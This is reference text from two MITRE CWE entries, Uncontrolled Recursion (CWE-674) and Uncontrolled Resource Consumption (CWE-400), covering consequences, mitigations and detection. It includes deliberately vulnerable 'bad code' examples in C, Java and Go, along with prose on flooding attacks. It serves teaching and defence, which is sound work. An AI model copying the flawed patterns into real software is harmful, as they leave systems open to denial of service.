Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
+ Alternate Terms
Stack Exhaustion
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.834Excessive Iteration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.776Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.776Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThe uncontrolled recursion is often due to an improper or missing conditional
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.
Confidentiality

Technical Impact: Read Application Data

In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.
+ Demonstrative Examples

Example 1

In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.

(bad code)
Example Language:
void do_something_recursive (int flg)
{
... // Do some real work here, but the value of flg is unmodified
if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

(good code)
Example Language:
void do_something_recursive (int flg)
{
... // Do some real work here
// Modify value of flg on done condition
if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
+ Observed Examples
ReferenceDescription
Deeply nested arrays trigger stack exhaustion.
Self-referencing pointers create infinite loop and resultant stack exhaustion.
Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition.
An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition.
USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion.
+ Potential Mitigations

Phase: Implementation

Ensure an end condition will be reached under all logic conditions. The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Effectiveness: Moderate

Phase: Implementation

Increase the stack size.

Effectiveness: Limited

Note: Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • CPU
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.985SFP Secondary Cluster: Unrestricted Consumption
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
Software Fault PatternsSFP13Unrestricted Consumption
OMG ASCRMASCRM-CWE-674
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-674. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-400: Uncontrolled Resource Consumption

Weakness ID: 400
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
+ Extended Description

Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the product, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

There are at least three distinct scenarios which can commonly lead to resource exhaustion:

  • Lack of throttling for the number of allocated resources
  • Losing all references to a resource before reaching the shutdown stage
  • Not closing/returning a resource after processing

Resource exhaustion problems are often result due to an incorrect implementation of the following situations:

  • Error conditions and other exceptional circumstances.
  • Confusion over which part of the program is responsible for releasing the resource.
+ Alternate Terms
Resource Exhaustion
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.771Missing Reference to Active Allocated Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.779Logging of Excessive Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.920Improper Restriction of Power Consumption
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1235Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1246Improper Write Handling in Limited-write Non-Volatile Memories
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.410Insufficient Resource Pool
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.920Improper Restriction of Power Consumption
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Operation
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

The most common result of resource exhaustion is denial of service. The product may slow down, crash due to unhandled errors, or lock out legitimate users.
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

In some cases it may be possible to force the product to "fail open" in the event of resource exhaustion. The state of the product -- and possibly the security functionality - may then be compromised.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
class Worker implements Executor {
...
public void execute(Runnable r) {

try {
...
}
catch (InterruptedException ie) {

// postpone response
Thread.currentThread().interrupt();
}
}

public Worker(Channel ch, int nworkers) {
...
}

protected void activate() {

Runnable loop = new Runnable() {

public void run() {

try {
for (;;) {
Runnable r = ...;
r.run();
}
}
catch (InterruptedException ie) {
...
}
}
};
new Thread(loop).start();
}
}

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2

This code allocates a socket and forks each time it receives a new connection.

(bad code)
Example Language:
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
newsock=accept(sock, ...);
printf("A connection has been accepted\n");
pid = fork();
}

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

(bad code)
Example Language:
int writeDataFromSocketToFile(char *host, int port)
{

char filename[FILENAME_SIZE];
char buffer[BUFFER_SIZE];
int socket = openSocketConnection(host, port);

if (socket < 0) {
printf("Unable to open socket connection");
return(FAIL);
}
if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
if (openFileToWrite(filename) > 0) {
while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
if (!(writeToFile(buffer) > 0))
break;
}
}
closeFile();
}
closeSocket(socket);
}

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 4

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

(bad code)
Example Language:

/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
char *body;

int length = getMessageLength(message[0]);

if (length > 0) {
body = &message[1][0];
processMessageBody(body);
return(SUCCESS);
}
else {
printf("Unable to process message; invalid message length");
return(FAIL);
}
}

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

(good code)
Example Language:
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}

Example 5

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

(bad code)
Example Language: Java 
public void acceptConnections() {
try {
ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
int counter = 0;
boolean hasConnections = true;
while (hasConnections) {
Socket client = serverSocket.accept();
Thread t = new Thread(new ClientSocketThread(client));
t.setName(client.getInetAddress().getHostName() + ":" + counter++);
t.start();
}
serverSocket.close();


} catch (IOException ex) {...}
}

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

(good code)
Example Language: Java 
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...

public void acceptConnections() {
try {
ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
int counter = 0;
boolean hasConnections = true;
while (hasConnections) {
hasConnections = checkForMoreConnections();
Socket client = serverSocket.accept();
Thread t = new Thread(new ClientSocketThread(client));
t.setName(client.getInetAddress().getHostName() + ":" + counter++);
ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
pool.execute(t);
}
serverSocket.close();


} catch (IOException ex) {...}
}

Example 6

In the following example, the serve function receives an http request and an http response writer. It reads the entire request body.

(bad code)
Example Language: Go 
func serve(w http.ResponseWriter, r *http.Request) {
var body []byte
if r.Body != nil {
if data, err := io.ReadAll(r.Body); err == nil {
body = data
}
}
}

Because ReadAll is defined to read from src until EOF, it does not treat an EOF from Read as an error to be reported. This example creates a situation where the length of the body supplied can be very large and will consume excessive memory, exhausting system resources. This can be avoided by ensuring the body does not exceed a predetermined length of bytes.

MaxBytesReader prevents clients from accidentally or maliciously sending a large request and wasting server resources. If possible, the code could be changed to tell ResponseWriter to close the connection after the limit has been reached.

(good code)
Example Language: Go 
func serve(w http.ResponseWriter, r *http.Request) {
var body []byte
const MaxRespBodyLength = 1e6
if r.Body != nil {
r.Body = http.MaxBytesReader(w, r.Body, MaxRespBodyLength)
if data, err := io.ReadAll(r.Body); err == nil {
body = data
}
}
}
+ Observed Examples
ReferenceDescription
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service
Resource exhaustion in distributed OS because of "insufficient" IGMP queue management, as exploited in the wild per CISA KEV.
Product allows attackers to cause a crash via a large number of connections.
Malformed request triggers uncontrolled recursion, leading to stack exhaustion.
Chain: memory leak (CWE-404) leads to resource exhaustion.
Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
Large integer value for a length property in an object causes a large amount of memory allocation.
Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
Product allows exhaustion of file descriptors when processing a large number of TCP packets.
Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack.
Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion.
Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
+ Potential Mitigations

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:

  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.

The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.
+ Detection Methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.985SFP Secondary Cluster: Unrestricted Consumption
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants such as CWE-770: Allocation of Resources Without Limits or Throttling, CWE-771: Missing Reference to Active Allocated Resource, CWE-410: Insufficient Resource Pool, CWE-772: Missing Release of Resource after Effective Lifetime, CWE-834: Excessive Iteration, CWE-405: Asymmetric Resource Consumption (Amplification), and others.
+ Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPResource exhaustion (file descriptor, disk space, sockets, ...)
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
WASC10Denial of Service
WASC41XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)SER12-JAvoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)MSC05-JDo not exhaust heap space
Software Fault PatternsSFP13Unrestricted Consumption
ISA/IEC 62443Part 3-3Req SR 7.1
ISA/IEC 62443Part 3-3Req SR 7.2
ISA/IEC 62443Part 4-1Req SI-1
ISA/IEC 62443Part 4-1Req SVV-3
ISA/IEC 62443Part 4-2Req CR 7.1
ISA/IEC 62443Part 4-2Req CR 7.2
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-386] Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008-11. <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf>.
[REF-387] D.J. Bernstein. "Resource exhaustion". <http://cr.yp.to/docs/resources.html>.
[REF-388] Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-01-24
(CWE 4.10, 2023-01-31)
